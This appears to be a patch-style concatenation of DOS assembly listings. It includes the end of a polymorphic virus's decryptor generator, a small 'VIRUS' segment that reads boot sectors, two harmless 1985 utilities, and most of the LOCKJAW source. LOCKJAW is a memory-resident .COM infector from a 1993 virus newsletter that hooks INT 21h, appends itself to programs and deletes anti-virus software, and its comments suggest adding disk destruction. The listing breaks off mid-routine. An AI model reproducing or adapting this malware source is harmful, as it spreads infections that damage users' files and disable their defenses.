db 95h, 7Ah, 0AAh, 56h, 0D0h, 3 dup(0), 0C0h, 48h, 2, 59h, 52h, 8Bh, 55h
db 0BAh, 0AAh, 4 dup(0), 2, 90h, 4, 4Ah, 7Dh, 55h, 6Fh, 64h, 4 dup(0)
db 24h, 25h, 5Ah, 2 dup(0AAh), 0ABh, 0B5h, 0B0h, 4 dup(0), 3 dup(1), 2Ah
db 0D5h, 0AAh, 5Ah, 0AAh, 4 dup(0), 40h, 8, 99h, 55h, 5Ah, 0DAh, 0DBh
db 53h, 4 dup(0), 15h, 52h, 44h, 0AAh, 0ABh, 57h, 0AAh, 0A9h, 80h, 4 dup(0)
db 89h, 22h, 55h, 6Dh, 55h, 5Eh, 0AAh, 0C0h, 2 dup(0), 4, 42h, 24h, 99h
db 56h, 0B5h, 56h, 0EAh, 0D1h, 5 dup(0), 91h, 25h, 5Bh, 2 dup(0AAh), 0D5h
db 4Ah, 40h, 4 dup(0), 8, 81h, 2Ah, 0AAh, 95h, 2Eh, 0E9h, 4 dup(0), 1
db 45h, 24h, 4, 56h, 0DAh, 0E9h, 54h, 80h, 2 dup(0), 8, 80h, 20h, 0, 21h
db 55h, 56h, 0DDh, 0B6h, 3 dup(0), 2, 8, 0Ah, 2 dup(0), 2Ah, 0BBh, 0AAh
db 0D4h, 80h, 4 dup(0), 40h, 44h, 1, 9, 55h, 56h, 0AAh, 40h, 2 dup(0)
db 8, 5, 1, 0, 80h, 25h, 6Dh, 0BBh, 69h, 3 dup(0), 2, 0, 0Ch, 0A0h, 5
db 6, 92h, 0C9h, 54h, 4 dup(0), 20h, 26h, 4, 0, 0A0h, 4Ah, 0D4h, 20h, 90h
db 2 dup(0), 4, 1, 19h, 61h, 0, 9, 24h, 6Bh, 55h, 1, 3 dup(0), 40h, 45h
db 4, 10h, 0C4h, 49h, 0A4h, 94h, 2Fh, 3 dup(0), 14h, 2Ah, 59h, 0, 20h
db 0E0h, 4Bh, 68h, 0A5h, 2 dup(0), 2 dup(1), 54h, 0A0h, 1, 48h, 2, 0AAh
db 0B4h, 32h, 3 dup(0), 20h, 0AAh, 5Ah, 90h, 24h, 5, 0B5h, 0A9h, 55h, 3 dup(0)
db 8Ah, 55h, 58h, 44h, 92h, 95h, 0AAh, 0A4h, 22h, 3 dup(0), 1, 6Ah, 26h
db 82h, 4Ch, 6Ah, 16h, 0B4h, 0D4h, 2 dup(0), 1, 55h, 0ADh, 9Ah, 51h, 20h
db 95h, 0EAh, 0AAh, 0B1h, 3 dup(0), 2, 0AAh, 0BDh, 2Ah, 54h, 56h, 2Ah
db 0A9h, 59h, 3 dup(0), 15h, 55h, 42h, 0A9h, 25h, 52h, 0D5h, 55h, 0EAh
db 3 dup(0), 49h, 6Dh, 5Dh, 4Ah, 94h, 0ADh, 2Ah, 49h, 34h, 3 dup(0), 25h
db 56h, 0A4h, 55h, 6Ah, 0D5h, 0A9h, 25h, 0ABh, 3 dup(0), 55h, 75h, 42h
db 0Bh, 0C5h, 2Ah, 0D4h, 92h, 0A0h, 2 dup(0), 1, 13h, 0ADh, 59h, 40h, 22h
db 0D5h, 42h, 0AAh, 47h, 3 dup(0), 4Ah, 0F6h, 0E4h, 2Ah, 95h, 5Ah, 94h
db 95h, 15h, 3 dup(0), 2Bh, 55h, 0BBh, 89h, 55h, 45h, 8Ah, 54h, 0ABh, 3 dup(0)
db 9, 2Ah, 86h, 0A4h, 25h, 55h, 51h, 55h, 17h, 3 dup(0), 2, 0, 3Bh, 2 dup(49h)
db 53h, 0A5h, 55h, 6Ah, 3 dup(0), 40h, 0Ah, 0DDh, 0A5h, 4, 0AAh, 55h, 54h
db 0AAh, 4 dup(0), 41h, 27h, 51h, 69h, 25h, 0CAh, 0A9h, 50h, 3 dup(0)
db 9, 2Ah, 0DAh, 0EAh, 0A4h, 0ABh, 12h, 40h, 5 dup(0), 4Ah, 5Fh, 54h, 52h
db 53h, 55h, 28h, 5 dup(0), 25h, 60h, 0AAh, 0A9h, 49h, 0D4h, 80h, 4 dup(0)
db 4, 0, 26h, 95h, 2Ah, 0AAh, 69h, 48h, 4 dup(0), 1, 41h, 2 dup(0), 0A9h
db 29h, 2 dup(24h), 4 dup(0), 10h, 15h, 2 dup(65h), 54h, 0A4h, 52h, 82h
db 4 dup(0), 2, 0AAh, 0A5h, 90h, 2 dup(0AAh), 29h, 15h, 4 dup(0), 10h
db 5, 5Ah, 6Ah, 0A1h, 25h, 52h, 51h, 0F8h, 3 dup(0), 1, 20h, 45h, 92h
db 54h, 92h, 0C4h, 0ABh, 8Fh, 3 dup(0), 8, 15h, 25h, 55h, 25h, 54h, 0A1h
db 25h, 80h, 3 dup(0), 5, 42h, 0A5h, 6Ah, 0A8h, 12h, 94h, 0A9h, 0C0h, 3 dup(0)
db 5, 55h, 5Ah, 2 dup(0AAh), 0A4h, 4Ah, 0A9h, 0C0h, 3 dup(0), 11h, 55h
db 0A5h, 2 dup(0AAh), 49h, 0AAh, 0A3h, 0E0h, 3 dup(0), 4, 0AAh, 0A6h, 0B5h
db 55h, 23h, 0D5h, 55h, 0E0h, 3 dup(0), 2, 2Dh, 0BAh, 0AAh, 0A2h, 4Ah
db 54h, 0A3h, 0E0h, 3 dup(0), 8, 0A5h, 5Ah, 0A4h, 94h, 25h, 0AAh, 0ABh
db 0E0h, 3 dup(0), 1, 2Ah, 0A5h, 52h, 41h, 56h, 55h, 57h, 0F0h, 4 dup(0)
db 25h, 59h, 24h, 14h, 8Ah, 55h, 57h, 0F0h, 4 dup(0), 40h, 22h, 40h, 82h
db 5Dh, 0AAh, 0AFh, 0F8h, 4 dup(0), 9, 4, 10h, 11h, 6Ah, 55h, 5Fh, 0F8h
db 6 dup(0), 1, 4Ah, 0ADh, 0D5h, 3Fh, 0F8h, 6 dup(0), 4, 0AEh, 0AAh, 2Ah
db 0BFh, 0F8h, 6 dup(0), 15h, 2Ah, 0D5h, 0AAh, 7Fh, 0F8h, 5 dup(0), 20h
db 0A2h, 55h, 2Ah, 54h, 0FFh, 0F8h, 4 dup(0), 3, 0FCh, 49h, 2Ah, 0AAh
db 53h, 0FFh, 0F8h, 4 dup(0), 3, 0FEh, 92h, 91h, 55h, 0A3h, 0FFh, 0F8h
db 4 dup(0), 3, 0FFh, 48h, 4Dh, 4Ah, 4Fh, 0FFh, 0F8h, 4 dup(0), 3, 0FFh
db 0A5h, 25h, 55h, 9Bh, 0DDh, 18h, 4 dup(0), 3, 0FFh, 0D4h, 0AAh, 0A8h
db 7Bh, 0C9h, 68h, 4 dup(0), 3, 0FFh, 0FAh, 44h, 0A5h, 0FBh, 0C1h, 68h
db 4 dup(0), 3, 0FFh, 0FAh, 95h, 53h, 0FBh, 55h, 68h, 4 dup(0), 3, 2 dup(0FFh)
db 52h, 8Fh, 0F8h, 5Dh, 18h, 4 dup(0), 3, 2 dup(0FFh), 0A4h, 5Fh, 2 dup(0FFh)
db 0F8h, 0, 0Bh dup(0FFh)
Reboot db 0EAh ; Reboot Computer
dw 0
dw 0FFFFh
GenerateCryptor proc near
push di
push ds
push cs
pop ds
mov di, offset start
mov cx, 128
push di
FillWithOneByte:
call GetOneByteIns
mov [di], al
inc di
loop FillWithOneByte
pop di
call GetRand15
add di, ax
mov byte ptr [di], 0BBh ; Store MOV BX Instruction
add di, 3
call GetRand15
add di, ax
mov word ptr [di], 0A8B9h ; Store MOV CX, Instruction
inc di
inc di
mov byte ptr [di], 3 ; Store Decrypt Size
inc di
call GetRand15
add di, ax
mov word ptr [di], 80BFh ; Store MOV DI
inc di
inc di
mov byte ptr [di], 1 ; Store Offset of Crypted Code
inc di
call GetRand15
add di, ax
push di
mov word ptr [di], 312Eh ; XOR [DI],
inc di
inc di
mov byte ptr [di], 1Dh ; BX
inc di
call GetRand15
add di, ax
mov word ptr [di], 4747h ; INC SI/INC SI
inc di
inc di
mov byte ptr [di], 43h ; INC AX
inc di
call GetRand15
add di, ax
mov byte ptr [di], 0E2h ; LOOP Instruction
pop ax
push di
sub di, ax
mov ax, 0FFFEh
sub ax, di
pop di
inc di
mov [di], al ; Loop Offset
pop ds
pop di
retn
GenerateCryptor endp
Buffer db 0CDh, 20h, 125 dup (0)
LastByte db 0
OrgProgram db 1872 dup (0)
seg000 ends
end start
@@ -0,0 +1,111 @@
PAGE ,132
VIRUS SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:VIRUS,DS:VIRUS
call gyilk
int 20h
nop
gyilk: push ax
push bx
push cx
push dx
push es
push ds
push di
push si
call cim
cim: pop bx
mov si,5aa5h
mov di,55aah
push cs
pop es
ujra: add bx,1000
cmp bx,1000
jnc kilep1
jmp kilep
kilep1: push bx
mov ax,201h
mov dx,80h
mov cx,1
int 13h
pop bx
jnc tovabb
jmp kilep
tovabb: cmp si,0a55ah
jnz tivbi1
jmp kilep
tivbi1: mov ax,cs:word ptr [bx]
cmp ax,12cdh
jz kilep
tovbi: push bx
mov ax,201h
mov dx,0h
mov cx,1
int 13h
pop bx
jnc tovabbi
cmp ah,6
jz tovbi
jmp kilep
tovabbi: mov ax,cs
add ax,1000h
push bx
push ax
int 12h
mov bx,64
mul bx
sub ax,1000h
mov bx,ax
pop ax
cmp bx,ax
jnc oke1
pop bx
jmp kilep
oke1: pop bx
oke: mov es,ax
mov ax,cs:[bx+18h]
mov cx,cs:[bx+1ah]
mul cx
mov cx,ax
mov ax,cs:[bx+13h]
mov dx,0
div cx
sub bx,1000
push bx
mov ch,al
mov cl,1
mov bx,100h
mov dx,0
mov ax,208h
int 13h
pop bx
jc kilep
push bx
mov bx,100h
mov ax,es:[bx]
cmp ax,2452h
pop bx
jnz kilep
mov ax,bx
add ax,offset kilep-offset cim
push cs
push ax
mov ax,10ah
push es
push ax
retf
kilep: pop si
pop di
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ret
cime: dw 0
VEG EQU $
VIRUS ENDS
END

@@ -0,0 +1,231 @@
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG,DS:CODE_SEG,ES:CODE_SEG
ORG 100H ;Start off right for a .COM file
ENTRY: JMP LOCATE ;Skip over Data area
COPY_RIGHT DB '(C)1985 S.Holzner' ;Author's Mark
FOUND_MSG DB 13,10,13,10,'FOUND IN $' ;Like it says
LEN DW 1 ;The file length (low word)
PATH_LEN DW 0 ;Length of Path.Dat
NUMBER DW 0 ;Number of bytes read from file
EXTRA_PATHS DB 0 ;=1 if we open & use Path.Dat
OLD_BX DW 0 ;Save pointer to path at CS:DBH
OLD_SI DW 0 ;Save SI as pointer also
START_FLAG DB 0 ;For searches in Path.Dat
PATH_DAT DB "\PATH.DAT",0 ;ASCIIZ string of Path.Dat
LOCATE PROC NEAR ;Here we go
MOV DX,0B0H ;Move Disk Transfer Area to CS:0B0H
MOV AH,1AH ;Matched file information goes there
INT 21H
MOV DI,5CH ;Use CS:5CH to put '*.*'0 at for search
CALL PUT ; in current directory
MOV DX,5CH ;Point to '*.*'0 for search
MOV AH,4EH ; and find first matching file
INT 21H ;Match now at DTA, 0B0H
LOOP: ;Loop over matches now
MOV BX,0CAH ;Get file length, came from match
MOV DX,[BX]
MOV LEN,DX ;Store in Len
CMP DX,60*1024 ;Don't write over stack, allow < 64K files
JB NOT_BIG ;Range extender (Find > 127 bytes ahead)
JMP FIND
NOT_BIG:CMP DX,0 ;Was this a 0 length file (disk dir or label)?
JA FILE_OK ;No, go on and read it
JMP FIND ;Yes, find next file and skip this one
FILE_OK:CALL READ_FILE ;Get the file into memory
MOV CX,NUMBER ;Prepare to loop over all read bytes
MOV DI,OFFSET PATHS+300 ;File starts at Offset Paths+300
SEARCH: ;Use Repne Scasb & DI to search for the
MOV BX,82H ;first letter of the string, which is at CS:82H
MOV AL,BYTE PTR [BX] ;Load into AL for Repne Scasb
REPNE SCASB ;Find first letter
JCXZ FIND ;If out of file to search, find next file
MOV BX,80H ;How many chars in string? Get from CS:80H
XOR DX,DX ;Set DX to zero
MOV DL,[BX] ;Get # of chars in string
DEC DX ;Get rid of space typed after 'Locate'
MOV SI,83H ;Search from second typed letter (1st matched)
CPLOOP: DEC DX ;Loop counter
CMPSB ;See how far we get until no match
JZ CPLOOP
DEC DI ;At end, reset DI (Scasb increments 1 too much)
CMP DX,0 ;If DX is not zero, all letters did not match
JA SEARCH ;If not a match, go back and get next one
LEA DX,FOUND_MSG ;FILE HAS BEEN FOUND, so say so.
MOV AH,9 ;Request string search
INT 21H
MOV AH,2 ;Now to print filename. Without Path.Dat, at
MOV BX,0DBH ; CS:CEH, with Path.Dat at CS:DBH
CMP EXTRA_PATHS,1 ; Using Path.Dat yet?
JE PRINT ;Yes, print
MOV BX,0CEH ;No, reset BX to point to CS:CEH
PRINT: MOV DL,[BX] ;Print out the filename until 0 found
CMP DL,0 ;Is it 0?
JE MORE ;If yes,print out sample at More:
INT 21H ;Print filename character
INC BX ;Point to next character
JMP PRINT ;Go back relentlessly until done
MORE: PUSH DI ;Save DI,BX,CX
PUSH BX
PUSH CX
MOV CX,40 ;Prepare to type out total of 40 characters
MOV AH,2 ;With Int 21H service 2
MOV DL,':' ;But first, add ':' to filename
INT 21H ;And a carriage return linefeed
MOV DL,13
INT 21H
MOV DL,10
INT 21H
SUB DI,20 ;DI points to end of found string, move back
MOV BX,OFFSET PATHS+300 ;Beginning of file
CMP DI,BX ;If before beginning, start at beginning
JA GO
MOV DI,BX
GO: ADD BX,LEN ;Now BX=end of file (to check if we're past it)
SHOW: MOV DL,[DI] ;Get character from file
INC DI ;And point to next one
CMP DI,BX ;Past end?
JA SHOWS_OVER ;Yes, jump out, look for next match
CMP DL,30 ;Unprintable character?
JA POK ;No, OK
MOV DL,' ' ;Yes, make it a space
POK: INT 21H ;Print Character
LOOP SHOW ;And return for the next one
SHOWS_OVER: ;End of printout
POP CX ;Restore the registers used above
POP BX
POP DI
JMP SEARCH ;Return to search more of the file
FIND: CALL FIND_FILE ;This file done, find next match
CMP AL,18 ;AL=18 --> no match
JE OUT ;And so we leave
JMP LOOP ;If match found, go back once again
OUT: INT 20H ;End of Main Program
LOCATE ENDP
PUT PROC NEAR ;This little gem puts a '*.*'0
MOV BYTE PTR [DI],'*' ;Wherever you want it--just send
MOV BYTE PTR [DI+1],'.' ; it a value in DI. '*.*'0 is used as
MOV BYTE PTR [DI+2],'*' ; a universal wilcard in searches
MOV BYTE PTR [DI+3],0
RET
PUT ENDP
WS PROC NEAR ;Strip the bits for WordStar
CMP CX,0 ;If there is a length of 0, e.g.
JE FIN ;Directory entries, etc. do nothing.
WSLOOP: AND BYTE PTR [BX],127 ;Set top bit to zero
INC BX ;Point to next unsuspecting byte
LOOP WSLOOP ;And get it too.
FIN: RET ;To use, send this program BX and CX
WS ENDP
FIND_FILE PROC NEAR ;The file finder
MOV AH,4FH ;Try service 4FH, find next match, first
INT 21H
CMP AL,18 ;AL = 18 --> no match
JE CHECK ;Range extender.
JMP NEW
CHECK: CMP EXTRA_PATHS,1 ;Have we used path.Dat?
JE NEXT_PATH ;Yes, get next path, this one's used up
INC EXTRA_PATHS ;No, set it to 1
MOV AX,3D00H ;Request file opening for Path.Dat
LEA DX,PATH_DAT ;Point to '\PATH.DAT'0
INT 21H
JNC READ ;If there was a carry, Path.Dat not found
DONE: MOV AL,18 ;And so we exit with AL=18
JMP END
READ: MOV CX,300 ;Assume the max length for Path.Dat, 300.
MOV BX,AX ;Move found file handle into BX for read
MOV AH,3FH ;Set up for file read
LEA DX,PATHS ;Put the file at location Paths (at end)
INT 21H ;Read in the file
ADD AX,OFFSET PATHS ;Full offset of end of Path.Dat
MOV PATH_LEN,AX ;Get Path.Dat end point for loop
MOV AH,3EH ;Now close the file
INT 21H ;Close file
MOV OLD_SI,OFFSET PATHS ;Save for future path-readings
MOV CX,300 ;Get ready to Un-WordStar
MOV BX,OFFSET PATHS ;300 bytes at location Paths
CALL WS ;Strip high bit for WS
NEXT_PATH: ;Come here to find next path to search for files
MOV SI,OLD_SI ;Point to start of next path
MOV DI,5CH ;Move will be to CS:5CH for '\path\*.*0' file find
MOV BX,0DBH ;Also to CS:DBH; will assemble full path & filename
MOV START_FLAG,0 ;Start the path search
CHAR: CMP SI,PATH_LEN ;Past end of possible path names?
JGE DONE ;Yes, we're done. Leave with AL=18
CMP BYTE PTR [SI],30 ;Carriage return or linefeed?
JB NEXT ;Yes, get next char
MOV START_FLAG,1 ;First char, stop skipping chars
MOV AL,[SI] ;Get char from Path.Dat
MOV [BX],AL ;Move char to DBH
INC BX ;And increment to next location there
MOVSB ;Also move to 5CH area
JMP CHAR ;And go back for more
NEXT: CMP START_FLAG,1 ;Bad char, have we been reading a real pathname?
JE PDONE ;Yes, we've reached the end of it.
INC SI ;No, keep skipping chars to find pathname
JMP CHAR
PDONE: MOV OLD_SI,SI ;Save SI for the next path.
MOV BYTE PTR [DI],'\' ;Add '\' to both paths
MOV BYTE PTR [BX],'\'
INC BX ;Move BX on for next time
MOV OLD_BX,BX ;And save it.
INC DI ;Move to next location at 5CH and
CALL PUT ;Put '*.*'0 there to find all files.
MOV DX,5CH ;Start the search for all files in
MOV AH,4EH ; the new path.
MOV CX,0 ;Set the file attribute to 0
INT 21H
CMP AL,18 ;Did we find any new files in new path?
JE NEXT_PATH ;No, get the next path.
NEW: CMP EXTRA_PATHS,1 ;Yes,Move found filename to DBH area to
JNE END ; read it in-only if DBH area is active
MOV BX,OLD_BX ; (i.e. Extra_Paths=1). Restore BX
MOV SI,0CDH ;And point to found filename in DTA
CLOOP: INC SI ;Next letter from found filename
MOV AH,[SI] ;Move it to the DBH area so we can read
MOV [BX],AH ; in the file (needs pathname\filename)
INC BX ;Next character in 5CH area.
CMP BYTE PTR [SI],0 ;Is this the last character?
JNE CLOOP ;Nope, get next one
END: RET ;After path & filename assembled, return
FIND_FILE ENDP
READ_FILE PROC NEAR ;Looks for filename at CEH or DBH & reads it
PUSH AX ;Push everything to save it.
PUSH BX
PUSH CX
PUSH DX
MOV DX,0DBH ;Try the DBH area
CMP EXTRA_PATHS,1 ;Has it been used?
JE OK ;Yes
MOV DX,0CEH ;No, not using paths yet, use filename only, at CEH
OK: MOV AX,3D00H ;Prepare for file reading
INT 21H ;And do so.
MOV BX,AX ;Move file handle into BX to read
MOV DX,OFFSET PATHS+300 ;Read into data area at Paths+300 bytes
MOV CX,LEN ;Read the full file's length in bytes
MOV AH,3FH ;Read it in at last
INT 21H
MOV NUMBER,AX ;Number of bytes actually read.
MOV AH,3EH ;Close file
INT 21H
MOV BX,OFFSET PATHS+300 ;Clean up the Word Star high bit.
MOV CX,LEN ;For the full file
CALL WS ;Strip high bit for ws
POP DX ;Pop evrything and return
POP CX
POP BX
POP AX
RET ;Fin of Read_File
READ_FILE ENDP
PATHS: ;Here's the end of program marker
CODE_SEG ENDS
END ENTRY ;End 'Entry' so DOS starts at 'Entry'

+145
View File
@@ -0,0 +1,145 @@
COMMENT* Change ROR -> ROL in the TWO marked places to produce UNLOCK.ASM *
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H
HERE: JMP THERE
COPY_RIGHT DB '(C)1985 Steven Holzner'
PROMPT DB 'Phrase: $' ;All the messages & prompts
DEFAULT DB 'FILE.LOC',0
NOTSEEN DB 13,10,'File Not Found$'
FULL: DB 13,10,'Disk Full$'
FILETWO DW 0 ;Address of 2nd File name
FILEND DW 0 ;End of read-in files in memory
THERE PROC NEAR ;Our procedure
MOV BX,81H ;Make the filenames into ASCIIZ
UP: INC BX ;Scan type-in for space, <cr>
CMP BYTE PTR [BX],' ' ;Space?
JNE NOSPACE
MOV BYTE PTR [BX],0 ;Put the Z in ASCIIZ
MOV FILETWO,BX
INC FILETWO ;Store filename starting location
NOSPACE:CMP BYTE PTR [BX],13 ;If not a space, a <cr>?
JNE UP
MOV BYTE PTR [BX],0 ;If yes, replace with a 0
CMP FILETWO,0
JNZ OVER
MOV FILETWO,OFFSET DEFAULT ;If no second file given, use default
OVER: LEA DX,PROMPT ;Type out the prompt with string print
MOV AH,9
INT 21H
MOV BX,80H+40H-2 ;Prepare 40H (64) buffer for key phrase
MOV BYTE PTR [BX],40H
PUSH BX ;Set up buffer address
POP DX
MOV AH,0AH ;Buffered input
INT 21H
MOV BX,80H+40H ;Start of key phrase
PUSH BX
JUMP: CMP BYTE PTR [BX],13 ;Set up key phrase's ASCII values
JE READY ;Scan until <cr>
OR BYTE PTR [BX],1 ;Make it odd
AND BYTE PTR [BX],0FH ;Use only lower four bits
INC BX
JMP JUMP ;Keep going until <cr>
READY: POP BX
MOV AX,3D00H ;Open the file to encrypt
MOV DX,82H ;Point to its name
INT 21H
JNC OKFILE ;Carry Flag --> some problem, assume
LEA DX,NOTSEEN ; file doesn't exist, say so
MOV AH,9
INT 21H
JMP OUT ;Exit
OKFILE: PUSH BX ;Store location in key phrase
MOV BX,AX ;Put handle into BX
MOV CX,62*1024 ;Ask for 62K bytes to be read from file
LEA DX,THEBOTTOM ;And put at end of program
MOV AH,3FH ;Read
INT 21H
ADD AX,OFFSET THEBOTTOM ;Actually read AX bytes
MOV FILEND,AX
DEC FILEND ;Find how far the file extends in mem.
MOV AH,3EH ;Close file, thank you very much.
INT 21H
POP BX
LEA CX,THEBOTTOM ;Save current location in file in CX
SCRMBLE:MOV SI,CX ;Will scramble from [SI] to [DI]
CMP SI,FILEND ;Past end?
JAE DONE ;If yes, exit
MOV DI,CX
XOR AX,AX
MOV AL,[BX] ;How many to scramble? (from key phrase)
ADD DI,AX
MOV CX,DI
INC CX ;Store new starting location for next time
INC BX ;Also, get next character for next scramble
CMP BYTE PTR [BX],13 ;If at end of key phrase, wrap
JNE TWIST
MOV BX,80H+40H
TWIST: CMP DI,FILEND ;Is DI past end?
JBE GRAB
MOV DI,FILEND ;If yes, only scramble to file end
PUSH DI
SUB DI,SI ;What about last byte?
TEST DI,1
POP DI
JNZ GRAB ;If left over, rotate it once
ROR BYTE PTR [DI],1 ;<--- ROL FOR UNLOCK!!!
DEC DI
CMP SI,DI
JAE DONE
GRAB: MOV DH,[SI] ;Get byte 1
MOV DL,[DI] ;Get byte 2
PUSH CX
MOV CL,[BX] ;Get number of times to rotate
INC BX ;Set up key phrase char for next time
CMP BYTE PTR [BX],13
JNE TWISTER
MOV BX,80H+40H
;Rotate the hybrid word
TWISTER:ROR DX,CL ;<--- ROL FOR UNLOCK!!!
POP CX
MOV [SI],DH ;And replace the parts
MOV [DI],DL
INC SI ;Point to next part to scramble
CMP SI,DI ;Have SI and DI met yet?
JE SCRMBLE ;If yes, move on to next part to scramble
DEC DI
JMP GRAB ;Go back until done
DONE: MOV AH,3CH ;Done
MOV CX,0 ;Prepare to write out scrambled version
MOV DX,FILETWO
INT 21H ;Create the file
JC ERROR
MOV BX,AX
MOV AH,40H
LEA DX,THEBOTTOM
MOV CX,FILEND ;File size to write
SUB CX,OFFSET THEBOTTOM
INC CX
INT 21H ;Write it out
CMP AX,CX ;If error, (returned)AX .NE. (orig.)CX
JE CLOSE
ERROR: LEA DX,FULL ;Assume disk is full, say so, leave
MOV AH,9
INT 21H
JMP OUT
CLOSE: MOV AH,3EH ;Otherwise, close the file and exit
INT 21H
OUT: INT 20H
THERE ENDP
THEBOTTOM: ;Read-in file starts here.
CODE_SEG ENDS
END HERE
@@ -0,0 +1,561 @@
;LOCKJAW: a .COM-infecting resident virus with retaliatory
;anti-anti-virus capability. Programmed and contributed by Nikademus, for
;Crypt Newsletter 12, Feb. 1993.
;
;LOCKJAW is a resident virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;
;LOCKJAW hooks interrupt 21 and infects .COM files on execution, appending
;itself to the end of the "host."
;LOCKJAW will infect COMMAND.COM and is fairly transparent to a
;casual user, except when certain anti-virus programs
;(Integrity Master, McAfee's SCAN &
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
;If LOCKJAW is present and any of these programs are employed from
;a write-protected diskette, the virus will, of course, generate
;"write protect" errors.
;
;LOCKJAW's "stinger" code demonstrates the simplicity of creating a strongly
;retaliating virus by quickly deleting the anti-virus program before it
;can execute and then displaying a "chomping" graphic. Even if the anti-
;virus program cannot detect LOCKJAW in memory, it will be deleted. This
;makes it essential that the user know how to either remove the virus from
;memory before beginning anti-virus measures, or at the least run the
;anti-virus component from a write-protected disk. At a time when retail
;anti-virus packages are becoming more complicated - and more likely that the
;average user will run them from default installations on his hard file -
;LOCKJAW's retaliating power makes it a potentially very annoying pest.
;A virus-programmer serious about inconveniencing a system could do a
;number of things with this basic idea. They are;
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
; instantly.
; 2. Alter the_stinger routine, so that the virus immediately attacks the
; hard file. The implementation is demonstrated by LOKJAW-DREI, which
; merely makes the disk inaccessible until a warm reboot if an anti-virus
; program is employed against it. By placing
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
; an unknowing user to employ anti-virus measures on a machine where
; LOCKJAW or a LOCKJAW-like program is memory resident.
;
;These anti-anti-virus strategies are becoming more numerous in viral
;programming.
;
;For example, Mark Ludwig programmed the features of a direct-action
;retaliating virus in his "Computer Virus Developments Quarterly."
;Peach, Groove and Encroacher viruses attack anti-virus software by
;deletion of files central
;to the functionality of the software.
;
;And in this issue, the Sandra virus employs a number
;of anti-anti-virus features.
;
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
;DREI infected files from a system, simply delete the "companion" .COM
;duplicates of your executables. Ensure that the machine has been booted
;from a clean disk. To remove the LOCKJAW .COM-appending virus, at this
;time it will be necessary for you to restore the contaminated files from
;a clean back-up.
;
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
len equ offset last - begin
vir_len equ len / 16d
host: db 0E9h, 03h, 00h, 43h, 44h, 00h ; host dummy
begin:
call virus ; push i.p. onto the stack
virus:
jmp after_note
note:
db '[l™‡kõ„W].á.¥Œk†d‰M$'
db 'ÅH$.pâ™Gâ†m.Œ$.….{pâ™Å”-Å].ûƒâ‹†¤Å'
db 'Åh†¥k$.Å¢.€â˜ž'
after_note:
pop bp ; recalculate change in offset
sub bp,109h
fix_victim:
mov di,0100h ; restore host's
lea si,ds:[vict_head+bp] ; !
mov cx,06h ; !
rep movsb ; first 6 bytes
Is_I_runnin:
mov ax,2C2Ch
int 21h ; call to see if installed
cmp ax, 0DCDh
je Bye_Bye
cut_hole:
mov ax,cs ; get memory control block
dec ax
mov ds,ax
cmp byte ptr ds:[0000],5a ; check if last block -
jne abort
mov ax,ds:[0003]
sub ax,100 ; decrease memory
mov ds:0003,ax
Zopy_virus: ; copy to claimed block
mov bx,ax ; PSP
mov ax,es ; virus start
add ax,bx ; in memory
mov es,ax
mov cx,len ; cx = length of virus
mov ax,ds ; restore ds
inc ax
mov ds,ax
lea si,ds:[begin+bp] ; point to start of virus
lea di,es:0100 ; point to destination
rep movsb ; start copying the virus
mov [vir_seg+bp],es
mov ax,cs
mov es,ax ; restore extra segment
Grab_21:
cli
mov ax,3521h ; request address of interrupt 21
int 21h
mov ds,[vir_seg+bp]
mov ds:[old_21h-6h],bx
mov ds:[old_21h+2-6h],es
mov dx,offset Lockjaw - 6h ; revector to virus
mov ax,2521h
int 21h
sti
abort:
mov ax,cs ; get the hell outa
mov ds,ax ; Dodge
mov es,ax
xor ax,ax
Bye_Bye:
mov bx,0100h ; hand off to host
jmp bx
Lockjaw:
pushf ; is i checkin if
cmp ax,2c2ch ; resident
jne My_21h
mov ax,0dcdh
popf
iret
My_21h:
push ds
push es ; save all registers
push di
push si
push ax
push bx
push cx
push dx
check_exec:
cmp ax,04B00h ; is the file being
jne notforme ; executed?
mov cs:[name_seg-6],ds
mov cs:[name_off-6],dx
jmp chk_com ; start potential
; infection
notforme:
pop dx ; exit
pop cx ; restore all registers
pop bx
pop ax
pop si
pop di
pop es
pop ds
popf
jmp dword ptr cs:[old_21h-6]
int21:
pushf
call dword ptr cs:[old_21h-6] ; int 21h handler
jc notforme ; exit on error
ret
chk_com: cld ; this essentially copies
mov di,dx ; the name of the file
push ds ; and sets it up for
pop es ; comparison to the anti-
mov al,'.' ; virus defaults used in
repne scasb ; the_stinger
call the_stinger ; anti-virus stinger
cmp ax, 00ffh ; WAS the program an AV?
je notforme
cmp word ptr es:[di],'OC' ; is it a .com ?
jne notforme ; compare against extension
cmp word ptr es:[di+2],'M' ; masks in these two steps
jne notforme
call Grab_24 ; set critical error handler
call set_attrib
open_victim: ; open potential host
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
mov ax,3D02h
call int21
jc close_file ; leave on error
push cs
pop ds
mov [handle-6],ax ; save handle
mov bx,ax
call get_date ; save date/time characters
check_forme:
push cs
pop ds
mov bx,[handle-6]
mov ah,3fh
mov cx,06h ; copy first 6 bytes of host
lea dx,[vict_head-6]
call int21
mov al, byte ptr [vict_head-6] ; is the prog a exe?
mov ah, byte ptr [vict_head-6]+1
cmp ax,[exe-6] ; compare with 'ZM'
je save_date ; jump to restore
mov al, byte ptr [vict_head-6]+3 ; is the prog already
mov ah, byte ptr [vict_head-6]+4 ; infected?
cmp ax,[initials-6]
je save_date
get_len:
mov ax,4200h
call move_pointer
mov ax,4202h
call move_pointer
sub ax,03h
mov [len_file-6],ax
call write_jmp ; write the jump to the virus
call write_virus ; at the head of the host
; write the remainder of the
save_date: ; virus to the end of the file
push cs
pop ds
mov bx,[handle-6]
mov dx,[date-6]
mov cx,[time-6]
mov ax,5701h
call int21
close_file:
mov bx,[handle-6]
mov ah,03eh
call int21
mov dx,cs:[old_24h-6]
mov ds,cs:[old_24h+2-6]
mov ax,2524h
call int21
jmp notforme
new_24h:
mov al,3
iret
the_stinger: ; detection of anti-virus against defaults
cmp word ptr es:[di-3],'MI' ;Integrity Master
je jumptoass
